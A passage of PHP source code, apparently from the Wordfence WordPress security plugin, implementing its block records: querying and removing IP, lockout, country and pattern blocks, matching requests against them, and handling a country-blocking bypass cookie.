$include = true;
}
break;
case 'literal':
//Already checked above
break;
}
}
if ($include) {
if ($offsetProcessed < $offset) { //Still searching for the start offset
$offsetProcessed++;
continue;
}
$returnBlocks[] = $b;
$limitProcessed++;
}
if ($limit != -1 && $limitProcessed >= $limit) {
return $returnBlocks;
}
}
}
return $returnBlocks;
}
/**
* Returns all unexpired blocks of types wfBlock::TYPE_IP_MANUAL, wfBlock::TYPE_IP_AUTOMATIC_TEMPORARY, wfBlock::TYPE_IP_AUTOMATIC_PERMANENT, wfBlock::TYPE_WFSN_TEMPORARY, wfBlock::TYPE_RATE_BLOCK, and wfBlock::TYPE_RATE_THROTTLE.
*
* @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
* @return wfBlock[]
*/
public static function ipBlocks($prefetch = false) {
return self::allBlocks($prefetch, array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE));
}
/**
* Finds an IP block matching the given IP, returning it if found. Returns false if none are found.
*
* @param string $ip
* @return bool|wfBlock
*/
public static function findIPBlock($ip) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$query = "SELECT * FROM `{$blocksTable}` WHERE ";
$ofTypes = array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE);
$query .= "`type` IN (" . implode(', ', $ofTypes) . ') AND ';
$query .= "`IP` = {$ipHex} AND ";
$query .= '(`expiration` = ' . self::DURATION_FOREVER . ' OR `expiration` > UNIX_TIMESTAMP()) ORDER BY `blockedTime` DESC LIMIT 1';
$r = $wpdb->get_row($query, ARRAY_A);
if (is_array($r)) {
$ip = wfUtils::inet_ntop($r['IP']);
return self::_recordFromRow($r);
}
return false;
}
/**
* Returns all unexpired blocks of type wfBlock::TYPE_COUNTRY.
*
* @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
* @return wfBlock[]
*/
public static function countryBlocks($prefetch = false) {
return self::allBlocks($prefetch, array(self::TYPE_COUNTRY));
}
/**
* Returns whether or not there is a country block rule.
*
* @return bool
*/
public static function hasCountryBlock() {
$countryBlocks = self::countryBlocks();
return !empty($countryBlocks);
}
/**
* Returns the value for the country blocking bypass cookie.
*
* @return string
*/
public static function countryBlockingBypassCookieValue() {
$val = wfConfig::get('cbl_cookieVal', false);
if (!$val) {
$val = uniqid();
wfConfig::set('cbl_cookieVal', $val);
}
return $val;
}
/**
* Returns all unexpired blocks of type wfBlock::TYPE_PATTERN.
*
* @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
* @return wfBlock[]
*/
public static function patternBlocks($prefetch = false) {
return self::allBlocks($prefetch, array(self::TYPE_PATTERN));
}
/**
* Returns all unexpired lockouts (type wfBlock::TYPE_LOCKOUT).
*
* @param bool $prefetch If true, the full data for the block is fetched rather than using lazy loading.
* @return wfBlock[]
*/
public static function lockouts($prefetch = false) {
return self::allBlocks($prefetch, array(self::TYPE_LOCKOUT));
}
/**
* Returns the lockout record for the given IP if it exists.
*
* @param string $ip
* @return bool|wfBlock
*/
public static function lockoutForIP($ip) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$row = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex} AND `type` = %d AND (`expiration` = %d OR `expiration` > UNIX_TIMESTAMP())", self::TYPE_LOCKOUT, self::DURATION_FOREVER), ARRAY_A);
if ($row) {
return self::_recordFromRow($row);
}
return false;
}
/**
* Removes all blocks whose ID is in the given array.
*
* @param array $blockIDs
* @param bool $retrieve if true, fetch and return the deleted rows
* @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
* @return bool|array true(or an array of blocks, if $retrieve is specified) or false on failure
*/
public static function removeBlockIDs($blockIDs, $retrieve = false, $notify = true) {
$blockIDs = array_map('intval', $blockIDs);
$blocks = self::_recordsFromRows($blockIDs);
$result = self::removeMultiple($blocks, $notify);
if ($retrieve && $result) {
return $result;
}
return !!$result;
}
/**
* Removes all IP blocks (i.e., manual, wfsn, or rate limited)
*
* @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
*/
public static function removeAllIPBlocks($notify = true) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `type` IN (" . implode(', ', array(self::TYPE_IP_MANUAL, self::TYPE_IP_AUTOMATIC_TEMPORARY, self::TYPE_IP_AUTOMATIC_PERMANENT, self::TYPE_WFSN_TEMPORARY, self::TYPE_RATE_BLOCK, self::TYPE_RATE_THROTTLE, self::TYPE_LOCKOUT)) . ")", ARRAY_A);
$blocks = self::_recordsFromRows($rows);
self::removeMultiple($blocks, $notify);
}
/**
* Removes all country blocks
*
* @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
*/
public static function removeAllCountryBlocks($notify = true) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `type` IN (" . implode(', ', array(self::TYPE_COUNTRY)) . ")", ARRAY_A);
$blocks = self::_recordsFromRows($rows);
self::removeMultiple($blocks, $notify);
}
/**
* Removes all blocks that were created by WFSN responses.
*
* Note: if this ever becomes called by a manual user action, it should be refactored to call
* self::removeMultiple() in order to dispatch the relevant event.
*/
public static function removeTemporaryWFSNBlocks() {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$wpdb->query($wpdb->prepare("DELETE FROM `{$blocksTable}` WHERE `type` = %d", self::TYPE_WFSN_TEMPORARY));
}
/**
* Converts all blocks to non-expiring whose ID is in the given array.
*
* @param array $blockIDs
*/
public static function makePermanentBlockIDs($blockIDs) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
//TODO: revise this if we support user-customizable durations
$supportedTypes = array(
self::TYPE_WFSN_TEMPORARY,
self::TYPE_RATE_BLOCK,
self::TYPE_RATE_THROTTLE,
self::TYPE_LOCKOUT,
self::TYPE_IP_AUTOMATIC_TEMPORARY,
);
$blockIDs = array_map('intval', $blockIDs);
$query = $wpdb->prepare("UPDATE `{$blocksTable}` SET `expiration` = %d, `type` = %d WHERE `id` IN (" . implode(', ', $blockIDs) . ") AND `type` IN (" . implode(', ', $supportedTypes) . ") AND (`expiration` > UNIX_TIMESTAMP())", self::DURATION_FOREVER, self::TYPE_IP_AUTOMATIC_PERMANENT);
$wpdb->query($query);
$supportedTypes = array(
self::TYPE_IP_MANUAL,
);
$blockIDs = array_map('intval', $blockIDs);
$query = $wpdb->prepare("UPDATE `{$blocksTable}` SET `expiration` = %d, `type` = %d WHERE `id` IN (" . implode(', ', $blockIDs) . ") AND `type` IN (" . implode(', ', $supportedTypes) . ") AND (`expiration` > UNIX_TIMESTAMP())", self::DURATION_FOREVER, self::TYPE_IP_MANUAL);
$wpdb->query($query);
}
/**
* Removes all specific IP blocks and lockouts that can result in the given IP being blocked.
*
* @param string $ip
* @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
*/
public static function unblockIP($ip, $notify = true) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$rows = $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex}", ARRAY_A);
$blocks = self::_recordsFromRows($rows);
self::removeMultiple($blocks, $notify);
}
/**
* Removes all lockouts that can result in the given IP being blocked.
*
* @param string $ip
* @param bool $notify Whether or not to broadcast the deletion action (should only do when this is called in response to a manual action)
*/
public static function unlockOutIP($ip, $notify = true) {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$ipHex = wfDB::binaryValueToSQLHex(wfUtils::inet_pton($ip));
$rows = $wpdb->get_results($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `IP` = {$ipHex} AND `type` = %d", self::TYPE_LOCKOUT), ARRAY_A);
$blocks = self::_recordsFromRows($rows);
self::removeMultiple($blocks, $notify);
}
/**
* Internal function to convert a raw query row result into a populated wfBlock instance. $row is expected to be an
* associative array.
*
* @param array $row
* @return mixed
*/
private static function _recordFromRow($row) {
$records = self::_recordsFromRows(array($row));
return $records[0];
}
/**
* Internal function to convert an array of raw query row results to an array of populated wfBlock instances. $rows
* is expected to be an array of integer IDs or an array of associative arrays.
*
* @param array[]|int[] $rows
* @return array
*/
private static function _recordsFromRows($rows) {
$records = array();
foreach ($rows as $r) {
if ($r instanceof stdClass) {
$r = (array) $r;
}
if (is_array($r)) {
$b = new wfBlock($r['id']);
$b->_populateData($r);
}
else {
$b = new wfBlock($r);
}
$records[] = $b;
}
return $records;
}
/**
* Constructs a wfBlock instance. This _does not_ create a new record in the table, only fetches or updates an existing one.
*
* @param $id
* @param bool $type
* @param bool $ip
* @param bool $blockedTime
* @param bool $reason
* @param bool $lastAttempt
* @param bool $blockedHits
* @param bool $expiration
* @param bool $parameters
*/
public function __construct($id, $type = false, $ip = false, $blockedTime = false, $reason = false, $lastAttempt = false, $blockedHits = false, $expiration = false, $parameters = false) {
$this->_id = $id;
$this->_type = $type;
$this->_ip = $ip;
$this->_blockedTime = $blockedTime;
$this->_reason = $reason;
$this->_lastAttempt = $lastAttempt;
$this->_blockedHits = $blockedHits;
$this->_expiration = $expiration;
$this->_parameters = $parameters;
}
public function __get($key) {
switch ($key) {
case 'id':
return $this->_id;
case 'type':
if ($this->_type === false) { $this->_fetch(); }
return $this->_type;
case 'IP':
case 'ip':
if ($this->_type === false) { $this->_fetch(); }
return $this->_ip;
case 'blockedTime':
if ($this->_type === false) { $this->_fetch(); }
return $this->_blockedTime;
case 'reason':
if ($this->_type === false) { $this->_fetch(); }
return $this->_reason;
case 'lastAttempt':
if ($this->_type === false) { $this->_fetch(); }
return $this->_lastAttempt;
case 'blockedHits':
if ($this->_type === false) { $this->_fetch(); }
return $this->_blockedHits;
case 'expiration':
if ($this->_type === false) { $this->_fetch(); }
return $this->_expiration;
case 'parameters':
if ($this->_type === false) { $this->_fetch(); }
return $this->_parameters;
//Country
case 'blockLogin':
if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['blockLogin'];
case 'blockSite':
if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['blockSite'];
case 'countries':
if ($this->type != self::TYPE_COUNTRY) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['countries'];
//Pattern
case 'ipRange':
if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['ipRange'];
case 'hostname':
if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['hostname'];
case 'userAgent':
if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['userAgent'];
case 'referrer':
if ($this->type != self::TYPE_PATTERN) { throw new OutOfBoundsException("{$key} is not a valid property for this block type"); }
return $this->parameters['referrer'];
}
throw new OutOfBoundsException("{$key} is not a valid property");
}
public function __isset($key) {
switch ($key) {
case 'id':
case 'type':
case 'ip':
case 'blockedTime':
case 'reason':
case 'lastAttempt':
case 'blockedHits':
case 'expiration':
return true;
case 'parameters':
if ($this->_type === false) { $this->_fetch(); }
return !empty($this->_parameters);
//Country
case 'blockLogin':
if ($this->type != self::TYPE_COUNTRY) { return false; }
return !empty($this->parameters['blockLogin']);
case 'blockSite':
if ($this->type != self::TYPE_COUNTRY) { return false; }
return !empty($this->parameters['blockSite']);
case 'countries':
if ($this->type != self::TYPE_COUNTRY) { return false; }
return !empty($this->parameters['countries']);
//Pattern
case 'ipRange':
if ($this->type != self::TYPE_PATTERN) { return false; }
return !empty($this->parameters['ipRange']);
case 'hostname':
if ($this->type != self::TYPE_PATTERN) { return false; }
return !empty($this->parameters['hostname']);
case 'userAgent':
if ($this->type != self::TYPE_PATTERN) { return false; }
return !empty($this->parameters['userAgent']);
case 'referrer':
if ($this->type != self::TYPE_PATTERN) { return false; }
return !empty($this->parameters['referrer']);
}
return false;
}
/**
* Fetches the record for the block from the database and populates the instance variables.
*/
private function _fetch() {
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$row = $wpdb->get_row($wpdb->prepare("SELECT * FROM `{$blocksTable}` WHERE `id` = %d", $this->id), ARRAY_A);
if ($row !== null) {
$this->_populateData($row);
}
}
/**
* Populates the instance data from the given $row.
*
* @param array $row
*/
private function _populateData($row) {
$this->_type = $row['type'];
$ip = $row['IP'];
if ($ip == self::MARKER_COUNTRY || $ip == self::MARKER_PATTERN) {
$this->_ip = null;
}
else {
$this->_ip = wfUtils::inet_ntop($ip);
}
$this->_blockedTime = $row['blockedTime'];
$this->_reason = $row['reason'];
$this->_lastAttempt = $row['lastAttempt'];
$this->_blockedHits = $row['blockedHits'];
$this->_expiration = $row['expiration'];
$parameters = $row['parameters'];
if ($parameters === null) {
$this->_parameters = null;
}
else {
$this->_parameters = @json_decode($parameters, true);
if (!is_array($this->_parameters)) { $this->_parameters = array(); }
}
}
/**
* Tests the block parameters against the given request. If matched, this will return the corresponding wfBlock::MATCH_
* constant. If not, it will return wfBlock::MATCH_NONE.
*
* @param $ip
* @param $userAgent
* @param $referrer
* @return int
*/
public function matchRequest($ip, $userAgent, $referrer) {
switch ($this->type) {
case self::TYPE_IP_MANUAL:
case self::TYPE_IP_AUTOMATIC_TEMPORARY:
case self::TYPE_IP_AUTOMATIC_PERMANENT:
case self::TYPE_WFSN_TEMPORARY:
case self::TYPE_RATE_BLOCK:
case self::TYPE_RATE_THROTTLE:
if (wfUtils::inet_pton($ip) == wfUtils::inet_pton($this->ip))
{
return self::MATCH_IP;
}
break;
case self::TYPE_PATTERN:
$match = (!empty($this->ipRange) || !empty($this->hostname) || !empty($this->userAgent) || !empty($this->referrer));
if (!empty($this->ipRange)) {
$range = new wfUserIPRange($this->ipRange);
$match = $match && $range->isIPInRange($ip);
}
if (!empty($this->hostname)) {
$hostname = wfUtils::reverseLookup($ip);
$match = $match && preg_match(wfUtils::patternToRegex($this->hostname), $hostname);
}
if (!empty($this->userAgent)) {
$match = $match && fnmatch($this->userAgent, $userAgent, FNM_CASEFOLD);
}
if (!empty($this->referrer)) {
$match = $match && fnmatch($this->referrer, $referrer, FNM_CASEFOLD);
}
if ($match) {
return self::MATCH_PATTERN;
}
break;
case self::TYPE_COUNTRY:
if (!wfConfig::get('isPaid')) {
return self::MATCH_NONE;
}
//Bypass Redirect URL Hit
$bareRequestURI = wfUtils::extractBareURI($_SERVER['REQUEST_URI']);
$bareBypassRedirURI = wfUtils::extractBareURI(wfConfig::get('cbl_bypassRedirURL', ''));
if ($bareBypassRedirURI && $bareRequestURI == $bareBypassRedirURI) {
$bypassRedirDest = wfConfig::get('cbl_bypassRedirDest', '');
if ($bypassRedirDest) {
wfUtils::setcookie('wfCBLBypass', wfBlock::countryBlockingBypassCookieValue(), time() + (86400 * 365), '/', null, wfUtils::isFullSSL(), true);
return self::MATCH_COUNTRY_REDIR_BYPASS;
}
}
//Bypass View URL Hit
$bareBypassViewURI = wfUtils::extractBareURI(wfConfig::get('cbl_bypassViewURL', ''));
if ($bareBypassViewURI && $bareBypassViewURI == $bareRequestURI) {
wfUtils::setcookie('wfCBLBypass', wfBlock::countryBlockingBypassCookieValue(), time() + (86400 * 365), '/', null, wfUtils::isFullSSL(), true);
return self::MATCH_NONE;
}
//Early exit checks
if ($this->_shouldBypassCountryBlocking()) { //Has valid bypass cookie
return self::MATCH_NONE;
}
if ($this->blockLogin) {
add_filter('authenticate', array($this, '_checkForBlockedCountryFilter'), 1, 1);
}
if (!$this->blockLogin && $this->_isAuthRequest()) { //Not blocking login and this is a login request
return self::MATCH_NONE;
}
else if (!$this->blockSite && !$this->_isAuthRequest()) { //Not blocking site and this may be a site request
return self::MATCH_NONE;
}
else if (is_user_logged_in() && !wfConfig::get('cbl_loggedInBlocked', false)) { //Not blocking logged in users and a login session exists
return self::MATCH_NONE;
}
//Block everything
if ($this->blockSite && $this->blockLogin) {
return $this->_checkForBlockedCountry();
}
//Block the login form itself and any attempt to authenticate
if ($this->blockLogin && $this->_isAuthRequest()) {
return $this->_checkForBlockedCountry();
}
//Block requests that aren't to the login page, xmlrpc.php, or a user already logged in
if ($this->blockSite && !$this->_isAuthRequest() && !defined('XMLRPC_REQUEST')) {
return $this->_checkForBlockedCountry();
}
//XMLRPC is inaccesible when public portion of the site and auth is disabled
if ($this->blockLogin && $this->blockSite && defined('XMLRPC_REQUEST')) {
return $this->_checkForBlockedCountry();
}
break;
}
return self::MATCH_NONE;
}
/**
* Returns whether or not the current request should be treated as an auth request.
*
* @return bool
*/
private function _isAuthRequest() {
if ((strpos($_SERVER['REQUEST_URI'], '/wp-login.php') !== false)) {
return true;
}
return false;
}
/**
* Tests whether or not the country blocking bypass cookie is set and valid.
*
* @return bool
*/
private function _shouldBypassCountryBlocking() {
if (isset($_COOKIE['wfCBLBypass']) && $_COOKIE['wfCBLBypass'] == wfBlock::countryBlockingBypassCookieValue()) {
return true;
}
return false;
}
/**
* Checks the country block against the requesting IP, returning the action to take.
*
* @return int
*/
private function _checkForBlockedCountry() {
$blockedCountries = $this->countries;
$bareRequestURI = untrailingslashit(wfUtils::extractBareURI($_SERVER['REQUEST_URI']));
$IP = wfUtils::getIP();
if ($country = wfUtils::IP2Country($IP)) {
foreach ($blockedCountries as $blocked) {
if (strtoupper($blocked) == strtoupper($country)) { //At this point we know the user has been blocked
if (wfConfig::get('cbl_action') == 'redir') {
$redirURL = wfConfig::get('cbl_redirURL');
$eRedirHost = wfUtils::extractHostname($redirURL);
$isExternalRedir = false;
if ($eRedirHost && $eRedirHost != wfUtils::extractHostname(home_url())) { //It's an external redirect...
$isExternalRedir = true;
}
if ((!$isExternalRedir) && untrailingslashit(wfUtils::extractBareURI($redirURL)) == $bareRequestURI) { //Is this the URI we want to redirect to, then don't block it
return self::MATCH_NONE;
}
else {
return self::MATCH_COUNTRY_REDIR;
}
}
else {
return self::MATCH_COUNTRY_BLOCK;
}
}
}
}
return self::MATCH_NONE;
}
/**
* Filter hook for the country blocking check. Does nothing if not blocked, otherwise presents the block page and exits.
*
* Note: Must remain `public` for callback to work.
*/
public function _checkForBlockedCountryFilter($user) {
$block = $this->_checkForBlockedCountry();
if ($block == self::MATCH_NONE) {
return $user;
}
$log = wfLog::shared();
$log->getCurrentRequest()->actionDescription = __('blocked access via country blocking', 'wordfence');
wfConfig::inc('totalCountryBlocked');
wfActivityReport::logBlockedIP(wfUtils::getIP(), null, 'country');
$log->do503(3600, __('Access from your area has been temporarily limited for security reasons', 'wordfence')); //exits
}
/**
* Adds $quantity to the blocked count and sets the timestamp for lastAttempt.
*
* @param int $quantity
* @param bool|int $timestamp
*/
public function recordBlock($quantity = 1, $timestamp = false) {
if ($timestamp === false) {
$timestamp = time();
}
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$wpdb->query($wpdb->prepare("UPDATE `{$blocksTable}` SET `blockedHits` = `blockedHits` + %d, `lastAttempt` = GREATEST(`lastAttempt`, %d) WHERE `id` = %d", $quantity, $timestamp, $this->id));
$this->_type = false; //Trigger a re-fetch next access
}
/**
* Returns an array suitable for JSON of the values needed to edit the block.
*
* @return array
*/
public function editValues() {
switch ($this->type) {
case self::TYPE_COUNTRY:
return array(
'blockLogin' => wfUtils::truthyToInt($this->blockLogin),
'blockSite' => wfUtils::truthyToInt($this->blockSite),
'countries' => $this->countries,
'reason' => $this->reason,
'expiration' => $this->expiration,
);
}
return array();
}
/**
* Removes this block record. May trigger an additional query to fetch the notification data if $notify is true and
* the record is ID-only.
*
* @param bool $notify If true, will dispatch the `wordfence_deleted_block` action.
* @return null|wfBlock null if a failure occurs, otherwise the block
*/
public function remove($notify = false) {
$result = self::removeMultiple(array($this), $notify);
if (is_array($result)) {
return $result[0];
}
return null;
}
/**
* Deletes the given block, optionally dispatching the `wordfence_deleted_block` action for each block. May trigger
* an additional query to fetch the notification data if $notify is true and any record is ID-only.
*
* @param wfBlock[] $blocks
* @param bool $notify If true, will dispatch the `wordfence_deleted_block` action.
* @return null|wfBlock[] null if a failure occurs, otherwise the blocks
*/
public static function removeMultiple($blocks, $notify = false) {
if (empty($blocks)) { return array(); }
global $wpdb;
$blocksTable = wfBlock::blocksTable();
$blockIDs = array_map(function($b) { return intval($b->id); }, $blocks);
$inClause = implode(', ', $blockIDs);
if ($notify) {
$blockIDsToPopulate = array_filter(array_map(function($b) { return ($b->_type === false ? intval($b->id) : null); }, $blocks));
if (!empty($blockIDsToPopulate)) {
$populateInClause = implode(', ', $blockIDsToPopulate);
$data = wfUtils::array_kmap(function($r) { return array($r['id'] => $r); }, $wpdb->get_results("SELECT * FROM `{$blocksTable}` WHERE `id` IN ({$populateInClause})", ARRAY_A));
foreach ($blocks as $b) { /** @var wfBlock $b */
if (isset($data[$b->id])) {
$b->_populateData($data[$b->id]);
}
}
}
}
$query = "DELETE FROM `{$blocksTable}` WHERE `id` IN (" . $inClause . ")";
if ($wpdb->query($query) !== false) {
$payload = array();
if ($notify) {
foreach ($blocks as $b) {
$type = $b->type;
$reason = $b->reason;
$parameters = (($type != self::TYPE_COUNTRY && $type != self::TYPE_PATTERN) ? $b->ip : $b->parameters);
/**
* Fires when a blocking rule is deleted by manual action.
*
* @since 8.0.0
*
* @param string $type The type of block.
* @param string $reason The reason of the block.
* @param array|null $parameters The parameters of the block if needed for disambiguation (e.g., the country block returns null because there is only one rule at most)
*/
do_action('wordfence_deleted_block', $type, $reason, $parameters);
}
}
return $blocks;
}
return null;
}
}